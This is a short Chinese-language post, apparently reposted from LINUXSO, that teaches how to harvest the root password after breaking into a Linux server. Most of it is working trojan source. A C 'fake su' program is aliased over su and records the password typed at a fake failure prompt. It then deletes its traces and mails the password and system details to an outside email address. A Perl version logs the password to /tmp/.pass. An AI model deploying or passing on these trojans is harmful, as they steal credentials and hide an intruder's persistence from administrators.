在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后，如果能获取root密码能给我们带来很多的好处。查询了一下前辈的方法，一个是欺骗su记录密码，另外一个是替换sshd，我们先看看欺骗su记录密码的代码吧！
先看第一种,kpr-fakesu.c V0.9beta167
fucksu.c
/*
* kpr-fakesu.c V0.9beta167 ;P
* by koper <koper@linuxmail.org>
*
* Setting up:
* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
* admin@host:~$ mv .su /var/tmp/.su
* admin@host:~$ cp .bash_profile .wgetrc
* admin@host:~$ echo “alias su=/var/tmp/.su”>>.bash_profile
* admin@host:~$ logout
* *** LOGIN ***
* admin@host:~$ su
* Password:
* su: Authentication failure
* Sorry.
* admin@host:~$ su
* Password:
* root@host:~# logout
* admin@host:~$ cat /var/tmp/.pwds
* root:dupcia17
* admin@host:~$
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it “fit”
*
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];
sprintf(filex,”/var/tmp/.pwds”);
sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”);
if(argc==1) user=”root”;
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], “-l”)==0)
user=argv[2];
else user=argv[1];}
fprintf(stdout,”Password: “); pass=getpass (“”);
system(“sleep 3″);
fprintf(stdout,”su: Authentication failurenSorry.n”);
if ((fp=fopen(filex,”w”)) != NULL)
{
fprintf(fp, “%s:%sn”, user, pass);
fclose(fp);
}
system(clean);
system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);
/* If you don’t want password in your e-mail uncomment this line: */
system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail kalikosta@hotmail.com”);
}
perl版本
perl版本：
#!/usr/bin/perl
####################################################################################################
# kyle@freeshell.se 2006 su trojan check so the su path is correct. #
# then make alias for trojan first it reads the pass then exec the real su. #
# logging to /tmp/.pass #
####################################################################################################
print “Password: “; $s1=<STDIN>;
print “Sorry.n”;
$s2=”Password is: “;
$s3=`date +%Y-%m-%d`;
open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”);
print users ($s2, $s1,$s3);
close (users);
system(“/bin/su”)
另一种方法，替换sshd
本文转自LINUXSO
